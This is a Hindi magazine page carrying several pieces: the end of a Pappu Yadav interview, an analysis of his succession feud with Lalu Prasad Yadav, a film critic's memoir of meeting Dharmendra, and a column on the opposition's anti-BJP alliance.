रंजीत रंजन की बड़ी भूमिका रही है. जितनी भूमिका मेरे दादा और पिता की रही है, उतनी ही भूमिका मेरी पत्नी की रही है.

आपके और पत्नी के विचार एक हैं. आप युवा संवाद में उनकी तस्वीर भी लगाते हैं. वह कांग्रेस से आप राजद से. राजनीतिक तौर पर अलग-अलग क्यों हैं आप दोनों?

वह कांग्रेस की विचारधारा मानती हैं. मेरे लिए बिहार प्राथमिक सूची में है. अलग-अलग विचारधारा है इसलिए दल में हैं.

अगर आप दोनों बेस्ट पॉलिटिकल कपल हैं तो अलग क्यों. एक और एक ग्यारह क्यों नहीं बन रहे. बिहार के लिए ही सही.

यह तो कांग्रेस को तय करना चाहिए. हो सकता है कि कांग्रेस के मन में दुविधा हो. हो सकता है कि कांग्रेस के मन में हो कि मैं बाहुबली के रूप में प्रचारित किया जाता रहा हूं. लेकिन अब इस छवि का क्या किया जाए. अमित शाह पर तमाम आरोप लगे लेकिन वे आज देश की सबसे बड़ी पार्टी के अध्यक्ष हैं. आडवाणीजी पर आरोप लगा, वे गृहमंत्री बने.

आपको कांग्रेस प्रस्ताव दे तो जाएंगे. वह तो बिहार में मर गयी है?

देखेंगे. कांग्रेस बड़ी पार्टी है. वह कभी नहीं कहेगी कि मर गई है. कांग्रेस में मजबूत जनाधारवाली मेेरी पत्नी रंजीत हैं, वे आगे आएंगी तो मैं उनके साथ रह सकता हूं. अपना स्वार्थ क्यों देखूंगा.

रंजीत को आगेकर कांग्रेस कहे कि पप्पू साथ दीजिए तो क्या करेंगे?

क्या किसी दल के साथ रहना जरूरी है. कल कांग्रेस मुझे अपने काम करने से रोकने लगे तो उसके साथ कैसे रह पाऊंगा. मैं बहुत दुविधा में रहता हूं.

उत्तराधिकार या पुत्राधिकार

Lalu Yadav by Shailendra 2

महाभारत में एक कहानी है. यह है या नहीं, न मालूम लेकिन कई बार प्रसंगों व संदर्भों के साथ इसे सुनाया जाता है. जब कुरूक्षेत्र में युद्ध समाप्त हो जाता है तो धृतराष्ट्र और कृष्ण आमने-सामने होते हैं. धृतराष्ट्र कृष्ण से पूछते हैं कि तुम्हारा क्या लेना-देना था? तुमने क्यों  किया ऐसा? क्यों भाइयों को आपस में लड़वा खून की नदियां बहा दी. कृष्ण कोई जवाब नहीं दे रहे थे. तब धृतराष्ट्र ने शाप दिया कि आनेवाले समय में इसी तरह तुम्हारे यदुवंशी भी आपस में लड़ेंगे और वे एक-दूसरे के साथ कभी नहीं रह पाएंगे. यह किस्सा कई बार उत्तर भारत के यादव नेताओं के अलग-अलग रहने पर सुनाया जाता रहा है और मजा लेकर कहा जाता रहा है कि यह धृतराष्ट्र का शाप है कि मुलायम सिंह यादव, लालू प्रसाद यादव और शरद यादव, तीन बड़े यादव नेता एक ही राजनीतिक विचारधारा के होने के बावजूद, एक ही राजनीतिक स्कूल से निकलने के बावजूद साथ नहीं रह सके थे और न रह पाते हैं. हालांकि धृतराष्ट्र के इस मिथकीय शाप को झुठलाते हुए लालू प्रसाद, मुलायम सिंह यादव और शरद यादव अब जनता पार्टी के महाविलय के जरिए साथ आ चुके हैं लेकिन इन तीनों नेताओं के साथ आने के तुरंत बाद या इसी बहाने बिहार में दो बड़े नेताओं के बीच फिर से अलग होने का युद्ध शुरू हो चुका है तो एक बार फिर से महाभारत की वही कहानी सुनाई जाने लगी है कि धृतराष्ट्र का शाप है तो उसका असर रहेगा. इस बार लालू प्रसाद यादव और पप्पू यादव के बीच जंग की शुरुआत हुई है. इस जंग में कारण और बहाने कई हैं लेकिन असल लड़ाई नेतृत्व की है.  इन दोनों यादव नेताओं के बीच लड़ाई के कई रंग अब देखने को मिलने लगे हैं. जिसका एक मजेदार नजारा विगत माह बिहार की राजधानी पटना में दिखा था.

कभी रंजन यादव ने राबड़ी देवी को मुख्यमंत्री बनाए जाने का जमकर विरोध किया था और शरद यादव ने तो लालू प्रसाद की पूरी राजनीति को ही चुनौती दी थी

विगत माह पटना के मौर्या होटल में लालू प्रसाद यादव की पार्टी की महत्वपूर्ण बैठक थी. उस बैठक में दल के सभी नेता मौजूद थे. पप्पू यादव ने जीतन राम मांझी का अध्याय शुरू किया. यह कहते हुए  िक इस महाविलय में मांझी को मिलाए बिना यह कोई मुकम्मल स्वरूप नहीं ले रहा. लालू प्रसाद यादव गुस्सा गए थे लेकिन शायद पहली बार हो रहा था  िक वे गुस्से का भी खुलकर इजहार नहीं कर पा रहे थे. उन्होंने इतना ही कहा कि पप्पू तुम मांझी के बहाने अपने मन की बात कह रहे हो. हम जानते हैं कि तुम क्या चाहते हो? तुम उत्तराधिकारी बनना चाहते हो लेकिन मेरा उत्तराधिकारी मेरा बेटा होगा. उस दिन की बात को वहीं खत्म करने की कोशिश हुई. राजद नेताओं ने प्रयास किए लेकिन बात वहीं खत्म नहीं हुई बल्कि उसके बाद एक नया अध्याय शुरू हुआ जो अब परवान चढ़ता दिख रहा है. पप्पू यादव ने अलग राह अपनाई, लालू प्रसाद ने अलग. पप्पू मगध इलाके में चले गए और औरंगाबाद से लेकर गया तक 120 किलोमीटर तक की पदयात्रा कर मगध की वर्षों से प्रतिक्षित एक जलाशय योजना को शुरू करने के लिए आंदोलन करने लगे और उसी आंदोलन के जरिए लालू प्रसाद यादव को चुनौती देने लगे. इस क्रम में पप्पू अपने लिए नायकत्व के तत्व का उभार करते रहे. वे उन इलाकों से गुजरते रहे, जिन्हें माओवादियों का खोह माना जाता है. उन्हें रास्ते में माओवादियों ने घेरा भी. दूसरी ओर लालू प्रसाद यादव अन्य राजनीतिक सभाओं से पप्पू यादव पर हमले तेज कर दिए और चिढ़ानेवाले अंदाज में बार-बार रटते रहे कि सुन ले सब कोई- उनका बेटा ही उनका उत्तराधिकारी बनेगा. पप्पू यादव ने दूसरे तरीके से लालू प्रसाद यादव को चिढ़ाना शुरू कर दिया. उन्होंने कहना शुरू कर दिया कि संतान को ही उत्तराधिकारी बनाना है तो बेटे को क्यों, बेटी को क्यों नहीं? पप्पू ने बात यहीं पर नहीं छोड़ी- उन्होंने यह भी कहना शुरू किया कि लालू प्रसाद यादव देश के पहले नेता हुए हैं जो इस तरह से अपने उत्तराधिकारी की घोषणाकर जनता पर थोप रहे हैं. लालू प्रसाद और और पप्पू यादव के बीच बयानों का युद्ध शुरू हुआ. लालू प्रसाद को बैकफुट पर आना पड़ा. पप्पू आग उगलते रहे. लालू प्रसाद को पप्पू के सवालों का जवाब देते नहीं बना. इधर पप्पू ने सवालों का घेरा बनाकर हमले तेज कर दिए. लालू प्रसाद जवाब देने की स्थिति में नहीं रह गए हैं तो उसकी कई वजहें मानी जा रही हैं. एक तो शायद उनके राजनीतिक जीवन में वर्षों बाद फिर से यह मौका आया है, जब उनके ही दल में रहते हुए, बिना दल छोड़े हुए उन्हें कोई इस तरह की चुनौती दे रहा है और वे कुछ नहीं कर पा रहे. इसके पहले एक समय में रंजन यादव और शरद यादव जैसे नेताओं ने लालू प्रसाद को चुनौती दी थी. रंजन यादव ने राबड़ी देवी को मुख्यमंत्री बनाए जाने के बाद विरोधी अभियान चलाया था और शरद यादव ने तो लालू प्रसाद की पूरी राजनीति को ही चुनौती दी थी. अब संयोग है कि रंजन और शरद, दोनों ही लालू प्रसाद के साथ ही हैं.

महाविलय के जरिए. लेकिन उसके बाद लालू प्रसाद यादव को वर्षों से दूसरी आदत लगी हुई है. वह रामकृपाल यादव जैसे नेताओं को भीड़ के सामने डांटकर, तेज आवाज में बोलकर बिठा देने के आदि रहे हैं. एक तरीके से अपने नेताओं को सार्वजनिक तौर पर अपमानित कर उन्हें कंट्रोल में रखना और उनके मनोबल को तोड़कर उनके नेतृत्व का उभार नहीं होने देना भी लालू प्रसाद यादव की राजनीति का एक अहम हिस्सा रहा है. लेकिन वे दूसरे नेताओं की तरह पप्पू यादव के साथ अब पेश नहीं आ पा रहे हैं तो उसकी कई वजह है. सब जानते हैं कि लालू प्रसाद यादव फिलहाल सबसे विवशी दौर से गुजर रहे नेता हैं. यह विवशता, उनके सामने कई तरह से, कई किस्म की चुनौतियों की वजह से है.

पहली चुनौती : घर

लालू प्रसाद यादव की पहली चुनौती उनके घर से ही शुरू हुई है. हालांकि यह बातें सिर्फ अफवाही तौर पर ही हवा में उड़ाई जाती रही हैं कि लालू प्रसाद यादव के बेटे के बीच ही विरासत को संभालने को लेकर आपसी कलह है. हो सकता है यह महज अफवाह हो लेकिन कोरी अफवाह जैसा भी नहीं कहा जा सकता. इस अफवाह को कई बार मजबूत बल मिलता है और यह सच जैसा लगता है. लालू प्रसाद यादव अपने बेटे तेजस्वी को लेकर राजनीति में लगातार कोशिश कर रहे हैं और पिछले विधानसभा चुनाव से ही वे तेजस्वी को उभारने में पूरी ऊर्जा लगाते रहे हैं. हालांकि तेजस्वी अब तक वह करिश्मा नहीं दिखा सके हैं, जिसकी उम्मीद की जाती रही है. दूसरी ओर यह माना जाता है कि राबड़ी देवी तेजप्रताप को आगे करना चाहती हैं.

मीसा चुनाव भले ही हार गईं लेकिन उन्होंने चुनाव के समय में जिस राजनीतिक परिपक्वता का परिचय दिया था, उससे उनमें बड़ी संभावना दिखी है

तेजप्रताप को राबड़ी आगे करना चाहती हैं या नहीं, यह तो राबड़ी देवी भी खुलकर नहीं बताती लेकिन तेजप्रताप की भी तेजस्वी की तरह राजनीतिक रुचि है, यह उनके आवास पर जाकर देखा-महसूसा जा सकता है और आए दिन पटना के आसपास तरह-तरह के आयोजनों के बहाने तेजप्रताप के पोस्टर लगने-लगाने के आधार पर भी सहज ही यह अनुमान लगाया जा सकता है कि तेजप्रताप राजनीति में रुचि रखनेवाले व्यक्ति हैं और उनके अंदर भी उभार की छपटाहट है. तेजप्रताप धर्मनिरपेक्ष संघ जैसा कोई संगठन बनाकर भी इन दिनों अपनी अलग गोलबंदी की कोशिश में हैं. हालांकि इसके बारे में यह कहा जाता है कि वह एक संगठन है, राजनीतिक अभियान नहीं लेकिन जाननेवाले जानते हैं कि तेजप्रताप उसके जरिए अपनी पहचान भी बनाना चाहते हैं, अपने इर्द-गिर्द युवाओं को संगठित भी करना चाहते हैं और आगामी विधानसभा चुनाव में जहां से वे चुनाव लड़े, उसका लाभ भी उठाना चाहते हैं. राजद के एक नेता कहते हैं कि दोनों के बीच आपसी लड़ाई है. यह उस तरह से अभी तक तो सामने नहीं आता, जैसा कि लालू प्रसाद यादव के दोनों साले साधु यादव और सुभाष यादव की दूरी को लोग देख चुके हैं लेकिन अगर कोई रास्ता नहीं निकला तो यह भी तय है कि दोनों के बीच की लड़ाई एक दिन उस रूप में दिखेगी. राजद के नेता कहते हैं कि यह लड़ाई तब तेज हुई, जब लालू प्रसाद यादव के चुनाव लड़ने पर रोक लगी और राबड़ी देवी का प्रयोग राघोपुर से लेकर सोनपुर जैसे गढ़ तक में फेल हो गया. हालांकि लालू प्रसाद चाहते थे कि किसी भी तरह से राबड़ी देवी के नाम पर ही अभी उनके बाद राजद की राजनीति को आगे बढ़ाया जाए लेकिन सोनपुर और राघोपुर और बाद में छपरा में मिली हार से यह साफ हो गया कि लाख चाहकर भी लालू प्रसाद यादव राबड़ी देवी के नाम पर आगे की राजनीतिक नैया को पार नहीं लगा सकते. तब एक खाली हुए एमएलसी सीट पर राबड़ी देवी को एडजस्ट कर लालू प्रसाद ने वहां एक विराम देने की कोशिश की. लेकिन यह विराम वहां थमनेवाला नहीं था और न अब है. तेजस्वी और तेजप्रताप के बीच लालू प्रसाद की बड़ी बेटी मिसा भारती का भी आगमन हुआ और वह दोनों बेटों की तुलना में राजनीतिक तौर पर ज्यादा परिपक्व हैं और राजनीति में ज्यादा रुचि भी लेती रही हैं. मिसा पिछले लोकसभा चुनाव में दानापुर जैसे गढ़ इलाके से चुनाव लड़ीं. उनकी जीत के लिए लालू प्रसाद यादव ने पटना इलाके के कुख्यात-बाहुबली मानेजानेवाले और जेल में बंद रीतलाल यादव से कई किस्म के समझौते भी किए, अपनी पार्टी में बड़ा पद भी रीतलाल को दिए लेकिन मिसा रामकृपाल यादव से चुनाव हार गई. बताया जाता है कि मिसा चुनाव भले ही हार गई लेकिन उन्होंने चुनाव के समय में जिस तरह से परिपक्वता का परिचय दिया और जिस तरह की राजनीति की, जिस तरह से उन्होंने प्रचार किया, उससे उनमें आगे राजनीति की बड़ी संभावना दिखीं.

यह माना गया कि मिसा को लालू प्रसाद यादव विधान परिषद में खाली हुई एक सीट पर भेज देंगे. लेकिन ऐसा न हो सका. उस सीट पर लालू प्रसाद के पास कई सालों से सेवा देनेवाले भोला प्रसाद को परिषद में भेजा गया. कहा जाता है कि यहां भी पेंच वही फंस गया था कि एक सीट है और घर से भेजा जाए तो किसे भेजा जाए. इसका लाभ भोला प्रसाद को मिला. बाद में बात यह भी उठी कि लालू प्रसाद की पार्टी की ओर से यह मांग भी उठेगी कि अगर राजद और जदयू का मिलान होना ही है तो मिसा भारती को उपमुख्यमंत्री बनाया जाए और यह चर्चा भी बहुत दिनों तक हवा में तैरती रही लेकिन यह बात भी आई गई हो गई. अब कहा जा रहा है कि मिसा मनेर से अगला विधानसभा चुनाव लड़ेंगी. वह पारिवारिक कलह से खुद को परेकर अगले चुनाव की तैयारी में लग गई हैं. और अब जबकि लालू प्रसाद यादव यह कह चुके हैं कि उनका राजनीतिक उत्तराधिकारी उनका बेटा ही होगा तो मिसा के लिए पिता की राजनीति के जरिए अचानक बड़े उभार की संभावनाओं पर भी फिलहाल विराम लग गया है. यह तो लालू प्रसाद के घर में चल रहे राजनीतिक कलह की कहानी है, जिसे अफवाही अंदाज में चौपालों में चटखारे ले-लेकर सुनाया जाता है. लेकिन दूसरी चुनौती जो उनके सामने है, वह अफवाही नहीं बल्कि यथार्थ के धरातल पर है और उसे सब जानते हैं. हालांकि लालू प्रसाद के बारे में यह कहा जाता है कि वे निजी जीवन से लेकर राजनीतिक जीवन तक में राबड़ी देवी के फैसले का ही सम्मान करते हैं इसलिए एक बदलाव भी हालिया दिनों में लोगों को देखने को मिल रहा है. तेजस्वी अब बयान वगैरह तो देते दिख रहे हैं लेकिन अचानक से लालू प्रसाद के मंचों पर तेजप्रताप की उपस्थिति बढ़ गई है. इसकी वजह क्या है, यह लालू प्रसाद के परिवार के लोग ही बता सकते हैं लेकिन इसके मायने यही लगाए जा रहे हैं कि हर बार की तरह राबड़ी देवी की जिद की जीत हो रही है शायद.

दूसरी चुनौती : पार्टी

परिवार के बाद लालू प्रसाद यादव के सामने पार्टी की चुनौती बड़ी है. लालू प्रसाद यादव अपनी पार्टी का विलय जनता परिवार में करवा चुके हैं लेकिन इससे उनकी चुनौतियां खत्म नहीं हुई हैं. उनके दल से अभी चुनौतियां मिलना बाकी है. हालांकि लालू प्रसाद यादव के दल से एक-एककर कई नेता बाहर का रास्ता देख चुके हैं. और अब जो नेता हैं, उनमें भी कई ऐसे हैं, जो साथ छोड़ सकते हैं. इसके पहले विगत साल नीतीश कुमार ने एक झटके में लालू प्रसाद यादव की पार्टी को तोड़ दिया था. अभी सबसे ज्यादा चर्चा राजद के एक प्रमुख नेता अब्दुल बारी सिद्दिकी को लेकर की जाती है. कहा जाता है कि सिद्दिकी एक ऐसे नेता हैं, जो लालू प्रसाद यादव के लिए वरदान हैं तो वे कभी भी चुनौती बन सकते हैं. सिद्दिकी के भी उपमुख्यमंत्री बनने की बात थी लेकिन सूत्र बताते हैं कि इसमें सबसे बडा अड़ंगा खुद लालू प्रसाद यादव के खेमे से ही लगा था. सिद्दिकी के मजबूत होने से लालू प्रसाद यादव जानते हैं कि फिर वे उन्हें अपने साथ रख नहीं पाएंगे. सिद्दिकी नेतृत्व पद पर जाने की मांग करेंगे, जो फिलहाल लालू प्रसाद यादव को किसी हाल में मंजूर नहीं. लेकिन सूत्र एक दूसरी खबर भी बताते हैं. बताया गया है कि अब्दुल बारी सिद्दिकी पर फिलहाल कांग्रेस की नजर है, जो बिहार में खस्ताहाली के दौर में है. अगर सिद्दिकी जैसा नेता कांग्रेस को मिल जाता है तो उसे बिहार में खड़ा होने में मदद मिलेगी. अगर ऐसा होता है तो यह न सिर्फ लालू प्रसाद के लिए बल्कि महाविलय के लिए भी एक बड़ा झटका होगा. लालू प्रसाद के दल में चुनौती यहीं खत्म नहीं होती. अभी बड़ी चुनौती का सामना उन्हें विधानसभा चुनाव के वक्त करना है. विधानसभा चुनाव के समय महाविलय के आधार पर अगर टिकट का बंटवारा होता है तो लालू प्रसाद को कई अपने लोगों का टिकट काटना होगा. वे वैसे लोग व नेता होंगे, जो वर्षों से नीतीश कुमार की पार्टी और भाजपा से लड़कर अपना जनाधार बनाए हैं. टिकट नहीं मिलने की स्थिति में वे लालू के सबसे बड़े विरोधी होंगे. इनमें कई यादव नेता भी होंगे. इस तरह कई जगहों पर लालू प्रसाद के विरोध का जो नया खेमा बनेगा उसे अगर पप्पू यादव या मांझी का साथ मिलेगा तो फिर यह लालू प्रसाद को और कमजोर करनेवाला ही होगा. बात इतनी भी होती तो एक बात होती. जो लालू प्रसाद यादव 1990 में थे, उस समय के उनके एक-दो बड़े नेता ही उनके साथ बचे हैं. लालू भी जानते हैं कि अपने कोर वोट में भी उनकी पकड़ पहले की तुलना में ज्यादा कमजोर हुई है. पिछड़े बिखर चुके हैं. दलितों व पिछड़ों के मसीहा के रूप में वे एक जुमले की तरह तो इस्तेमाल किए जाएंगे लेकिन अब दलितों व पिछड़ों का वोट आसानी से अपने पाले में नहीं करवा पाएंगे.

विधानसभा चुनाव के समय महाविलय के आधार पर अगर टिकट का बंटवारा होता है तो लालू प्रसाद को अपने कई लोगों का टिकट काटना होगा

राजनीतिक विश्लेषक प्रेम कुमार मणी कहते हैं- अभी भी वक्त है लालू प्रसाद यादव मांझी के साथ मिल जाएं, तभी वे दलित वोटों की रहनुमाई करने की स्थिति में रहेंगे. मणी बात ठीक कहते हैं लेकिन एक दूसरी किस्म की चुनौतियों से भी लालू प्रसाद को दो-चार होना अभी बाकी है और एक तरह से महाविलय कर के वे अपनी राजनीति का टेस्ट ही कर रहे हैं. लालू प्रसाद ने महाविलय के बाद नीतीश कुमार को बिहार में नेतृत्व का अवसर दिया तो इसका दूसरा साइड इफेक्ट होना है. यादव और कुरमी, दो छोरों पर रहनेवाली जातियां हैं. कुर्मी नेता का नेतृत्व जमीनी स्तर पर यादव मतदाता आसानी से हजम नहीं कर पाएंगे. उन्हें यह साफ लगता है कि यादवों का जो राजपाट था और वर्षों तक जो सत्ता थी, उसे कुरमी जाति के नेता ने ही चुनौती देकर खत्म किया था. पप्पू यादव कहते हैं कि यह कौन नहीं जानता कि नीतीश कुमार ने सबसे ज्यादा यादवों को गाली और जंगलराज का पर्याय बनाया. इसका खामियाजा तो महाविलय को भुगतना ही होगा.

तीसरी चुनौती : पप्पू यादव

लालू प्रसाद यादव के सामने इन सबके बाद जो सबसे बड़ी चुनौती होगी वह पप्पू यादव और जीतन राम मांझी जैसे नेताओं की होगी. जीतन राम मांझी जैसे नेताओं की चुनौती को तो लालू प्रसाद यादव दरकिनार कर चुके हैं, इसलिए वे महाविलय में न तो जीतन को शामिल करने की कोशिश किए और ना ही अभी कोशिश करते दिख रहे हैं. जीतन की चुनौती को छोड़ भी दें तो पप्पू यादव लालू प्रसाद यादव के लिए एक बड़ी चुनौती बनकर उभरे हैं. पप्पू यादव का कोसी में खासा जनाधार है. इस बार नरेंद्र मोदी की लहर में भी वे न सिर्फ अपनी और अपनी पत्नी की सीट को बचाने में कामयाब रहे बल्कि कोसी के इलाके में भाजपा का खाता तक नहीं खुल सका तो उसमें भी पप्पू यादव की भूमिका मानी गई.

लगभग साढे़ बारह सालों बाद जेल से निकलने के बाद पप्पू यादव को कोसी में यह सफलता मिली तो इससे वे उर्जा से लबरेज हैं और तेजी से पूरे बिहार में अब अपनी अलग पहचान बनाने के लिए अभियान तेज कर दिए हैं. इसके लिए पप्पू न सिर्फ हालिया दिनों में बिहार में हुई बड़ी घटनाओं के घटना स्थल पर ग ए बल्कि अपनी ओर से पीडि़तों को सहयोग भी किया. पप्पू यादव अब युवा शक्ति नामक संगठन के बैनर तले मगध से लेकर भोजपुर तक के इलाके के बुनियादी सवालों को उठाकर, लोगों से अपने को जोड़ रहे हैं.

पप्पू यादव को इतने-भर से पूरे बिहार में सफलता मिलेगी, यह कहना तो अभी जल्दबाजी है लेकिन राजद में जो नाराज खेमा बनेगा, टिकट नहीं मिलने से जो विक्षुब्धों का खेमा तैयार होगा, उसका नेतृत्वकर पप्पू यादव लालू प्रसाद को चुनौती देनेवाले एक बड़े नेता के तौर पर उभरेंगे. पप्पू यादव कहते हैं कि हम कौनसा रास्ता अपनाएंगे, अभी कह नहीं सकते लेकिन यह जो उत्तराधिकारी की परंपरा शुरू की है लालू प्रसाद यादव ने और कार्यकर्ताओं से लेकर जनता तक पर थोपना चाहते हैं, उसका विरोध करेंगे.

पढ़ें पप्पू यादव से निराला की बातचीत

पर्दे के हीरो धर्मेंद्र असली जिंदगी के बड़े नायक हैं

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बचपन से ही मैं सदाबहार अभिनेता धर्मेंद्र की ओर आकर्षित रहा. जब मैंने फिल्म देखनी शुरू की थी तब मेरी उम्र कोई आठ-नौ साल की रही होगी पर सचेत मन की पहली फिल्म ‘सत्यकाम’ थी जिसने मेरे मन-मस्तिष्क पर गहरी छाप छोड़ी. पिता आदिम जाति कल्याण विभाग में काम करते थे. भोपाल में पुराना सचिवालय स्थित उनके ऑफिस में 16 एमएम का एक प्रोजेक्टर हुआ करता था जिसे रमेश चाचा ऑपरेट किया करते थे. हर शनिवार को वे वहां फिल्में दिखाते थे. वहीं ‘सत्यकाम’ देखी. फिल्म का नायक मन में बहुत गहरे उतर गया. आकर्षण इस कदर बढ़ता गया कि युवा होते-होते उनकी हर फिल्म देखना अनिवार्यता-सी बात बन गई थी.

फिल्मों पर लिखते-लिखते मैं मुंबई के संपर्क में आ गया. कलाकार का पीआर का काम देखनेवाले टेलीफोन पर भी इंटरव्यू करा दिया करते थे. मैंने मुंबई जाकर कलाकारों से मिलना-जुलना शुरू कर दिया था. शुरूआती दौर में सितारों से मिलना बहुत रोमांचित करता लेकिन फिर धीरे-धीरे सब सहज होता गया.

धर्मेंद्र से मुलाकात हो जाए, इसके लिए मैं प्रयासरत रहा. लेकिन उनसे मुलाकात इतना आसान कहां था? धर्मेंद्र पर लिखी गई टिप्पणी कहीं किसी पत्र-पत्रिका में प्रकाशित होती तो मैं उसकी कतरने उनके पते पर भिजवा देता. ऐसा करते हुए मेरे मन के किसी कोने में यह बात जरूर होती कि कभी उनका जवाब जरूर आएगा. पर ऐसा कभी नहीं हुआ. उनकी एक्शन फिल्मों का असर मुझपर कई-कई दिनों तक बना रहता. गंजे खलनायक शेट्टी से उनकी मुठभेड़ बहुत रोमांचित करती थी. उनकी फिल्में आंखें, फागुन, आदमी और इंसान, इज्जत, अनुपमा, बंदिनी, नीला आकाश, चुपके-चुपके, गुड्डी से लेकर गुलामी तक जाने कितनी बार देखी कि वे आज भी अपने दिल की हार्ड डिस्क में सुरक्षित हैं.

‘गजक खाकर उन्होंने कहा बहुत स्वादिष्ट है. जब भी आना मेरे लिए लेकर आना. इतने बड़े इंसान का ऐसा कहना हमें सजल कर गया’

खैर, कई सालों के जतन के बाद सिनेमा से ही जुड़े एक मित्र ने बड़ी मिन्नतों के बाद जन्मदिन के मौके पर उनसे मेरी बात कराई. फोन पर मैंने जैसे ही अपना नाम कहा तो उन्होंने कहा कि कैसे हो सुनील? मेरे गले में शब्द फंस से गए. मैंने हकबकाते हुए उन्हें बधाई दी. यह सिलसिला चल निकला.

दो-तीन साल बाद उनसे साक्षात्कार का मौका मिला. सर्दियों का मौसम था लेकिन हथेलियां रोमांच की वजह से पसीने से गीली हो रही थीं. उनके सहायक ने मुझे एक हॉल में बिठाया और मुझसे इंतजार करने को कहा. मैं धर्मेंद्र के लिए भोपाल से ग्वालियर की गुड़ की गजक लेकर गया था. मेरे साथ मेरे गुरु स्वर्गीय श्रीराम ताम्रकर भी थे. वे भी उनसे पहली बार मिल रहे थे. इंतजार करते हुए मैं हॉल में लगी उनकी मोहक तस्वीरें देखता रहा. इस हॉल में शराफत, राजा जानी, जुगनू, शोले, राम बलराम, हुकूमत आदि की ट्राफियां खूबसूरती से लगी हुई थीं.

मेरे लगभग खोए हुए इस आलम में वे अचानक से हॉल में आ धमके. हम उठकर खड़े हो गए. उन्होंने मुझे गले से लगा लिया. उन्होंने बैठते ही चाय तथा कुछ खाने का आदेश दिया. हम दोनों का परिचय पूछा. हमने बातचीत की आकांक्षा बताई तो उन्होंने प्यार से कहा, पूछो क्या पूछना है. अबतक हम सहज हो चुके थे. बातचीत शाम साढ़े छह बजे शुरू हुई तो सवा नौ बजे तक चलती रही. बातचीत के दौरान गजक का डिब्बा खोल उनकी ओर बढ़ाया और कहा, पापा जी ये सुदामा के चावल की       तरह हैं. आप ग्रहण करें तो गर्मजोशी से उन्होंने मेरा हाथ पकड़ लिया. कहने लगे, अरे ऐसा क्यों कहते हो? गजक खाकर उन्होंने कहा बहुत स्वादिष्ट है. मेरे लिए हमेशा  लाना. इतने बड़े इंसान का ऐसा कहना हमें सजल कर गया. मैं पूछता रहा और वे जबाव देते रहे.

धरमजी से अब तक कितनी ही मुलाकातें हुई हैं. वे बहुत भावुक, संवेदनशील और उदार हृदय के व्यक्ति हैं. उनके व्यक्तित्व में जरा-सी भी जटिलता या बनावटीपन नहीं है. सिनेमा में अपने अलग-अलग किरदारों के माध्यम से समृद्ध हुई उनकी छवि में आप एक ऐसे इंसान को देखते हैं जो अपने ही संसार के दूसरे सभी लोगों से अलहदा हैं. पर्दे के हीरो धर्मेंद्र यथार्थ की दुनिया के भी बड़े नायक हैं.

(लेखक फिल्म समीक्षक हैं और भोपाल में रहते हैं)

भाजपा रोको अभियान

श्रेय किसको दिया जाए? मोदी को, संघ को या केजरीवाल को? या तीनों को? ‘काॅरपोरेट ठप्पे वाली सरकार’ की इमेज में उलझे मोदी, हिंदुत्व के एजेंडे पर संघ परिवार के एकदम से शुरू हो गए चौतरफा दबाव से मची खलबली या दिल्ली में हुआ ‘केजरिया करिश्मा?’ राजनीति के मौसम में अचानक उठे इन तीन ‘विक्षोभों’ के बाद देश में ‘यस वी कैन’ मार्का बयार दिखने लगी है! अखाड़े की रौनक फिर लौटने-सी लगी है. इस उम्मीद में कि आज नहीं तो कल बाजी पलटी भी जा सकती है, पिछली पिटाई को सेक-सहलाकर, कुछ डंड-बैठक के बाद धुरंधर वापस अखाड़े की तरफ लौटने लगे हैं. इसलिए राजनीति में अचानक ‘लौटने’ का मौसम शुरू हो गया है!

राहुल गांधी 56 दिनों के ‘आत्मचिंतन’ के बाद देश लौटे, उधर सीताराम येचुरी के साथ सीपीएम भी सुरजीत युग का वह लोच लौटा लाने की तरफ है, जो रंग-बिरंगे पार्टनरों के साथ ‘डांस आॅफ डेमोक्रेसी’ में अपना जलवा बिखेरा करता था. समाजवादियों को भी ‘घर-वापसी’ का आइडिया आ गया है और सब मिलकर फिर एक पार्टी में लौटनेवाले हैं! और देखिए, किस्मत का करिश्मा कि गरीब, किसान, मजदूर बरसों बाद फिर नारों में वापस लौट आया है. कभी लोहिया के जमाने में नारा लगता था, ‘टाटा-बिड़ला की सरकार.’ अब राहुल गांधी नारा लगा रहे हैं, ‘कॉरपोरेटों की सरकार, सूट-बूट की सरकार!’

तो देखा आपने खेल में वापस लौटने का खेल! इसलिए कांग्रेस, लेफ्ट, समाजवादी सब अचानक फड़फड़ाकर उठ खड़े होने लगे, बिसात गरीब बनाम अमीर की िबछाई जा रही हो और सामने बिहार और पश्चिम बंगाल के चुनाव हों, तो राजनीति में फिर से ‘(कांग्रेस+लेफ्ट+समाजवादी) x सहयोग = भाजपा को रोको’ फॉर्मूले पर लोग लौटने लगे तो हैरानी कैसी? इसी फॉर्मूले पर कुछ साल पहले देवेगौड़ा-गुजराल सरकारें खड़ी की गई थीं, यह और बात है कि वे ज्यादा दिनों तक खड़ी नहीं रह सकीं. फिर भी पहले आजमाया फाॅर्मूला दुबारा आजमाने में हर्ज कैसा? यही फॉर्मूला अब सबको दिखा रहा है मौका-मौका! ‘यस वी कैन!’ मोदी और भाजपा के रथ को रोका जा सकता है! और फिर इसके अलावा विकल्प भी क्या है?

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इसलिए इस बार राहुल बड़े बदले-बदले से बनकर लौटे तो कांग्रेसियों की उम्मीदें भी लौट आईं! हालांकि लोग सवाल पूछ रहे हैं कि ‘अनिच्छुक युवराज’ अबकी बार कितने दिन राजनीति में टिकेंगे और इसकी क्या गारंटी कि कुछ दिन बाद वह फिर उचाट न हो जाएं और अपने ‘वैरागी मन’ की ओर फिर ‘घर-वापसी’ न कर लें! सवाल सही है. लेकिन इस बार राहुल गांधी को देखकर लगता है कि इन 56 दिनों में वह कुछ न कुछ नया तिलिस्म तो जरूर सीखकर आए हैं! मामला खाली ‘आत्मचिंतन’ का नहीं लगता. कुछ ज्यादा ही मेहनत की गई है उन पर! उनकी शैली बदल गई है, पूरा अंदाज भी बदला है और कहीं-कहीं हलकी लड़खड़ाहट के बावजूद बोली तो बहुत बदल गई है, हाजिरजवाबी और जुमलेबाजी आ गयी है, लगता है कि रटा हुआ पाठ नहीं पढ़ा जा रहा है, फोकस थोड़ा साफ हुआ है, इच्छाशक्ति के कुछ लक्षण भी दिखने लगे हैं. विशेषज्ञों की राय अलग-अलग हो सकती है, लेकिन आम वोटर ने इस बदलाव को महसूस तो किया है, इसमें शक नहीं.

राजनीति में फिर से ‘(कांग्रेस+लेफ्ट+समाजवादी) x सहयोग = भाजपा को रोको’ फॉर्मूले पर लोग लौटने लगे तो हैरानी कैसी?

